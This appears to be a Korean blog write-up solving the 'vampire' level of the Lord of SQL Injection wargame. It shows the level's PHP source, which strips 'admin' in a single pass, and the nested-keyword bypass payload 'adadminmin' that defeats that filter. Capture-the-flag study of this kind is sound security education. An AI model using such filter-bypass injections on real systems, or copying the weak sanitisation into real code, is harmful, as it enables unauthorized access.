반응형
Lord of SQLInjection
los.rubiya.kr
los의 뱀파이어를 처리해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
id가 admin이어야 하는데, 필터링을 통해 입력값을 전부 소문자로 바꾼 뒤, admin이 있으면 공백으로 대체해버린다.
그런데 이런 경우 허점이 있다. 이중으로 입력하여 하나가 공백으로 대체되어도 admin이 남아있을 수 있도록 하면 된다.
아래와 같은 방법으로 뱀파이어를 처리가능 하다.
id: adadminmin
url: ?id=adadminmin
query : select id from prob_vampire where id='admin'
반응형
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] golem 풀이 (0) | 2022.06.12 |
---|---|
[Los] skeleton 풀이 (0) | 2022.06.12 |
[Los] troll 풀이 (0) | 2022.06.12 |
[Los] orge 풀이 (0) | 2022.06.12 |
[Los] darkelf 풀이 (0) | 2022.06.11 |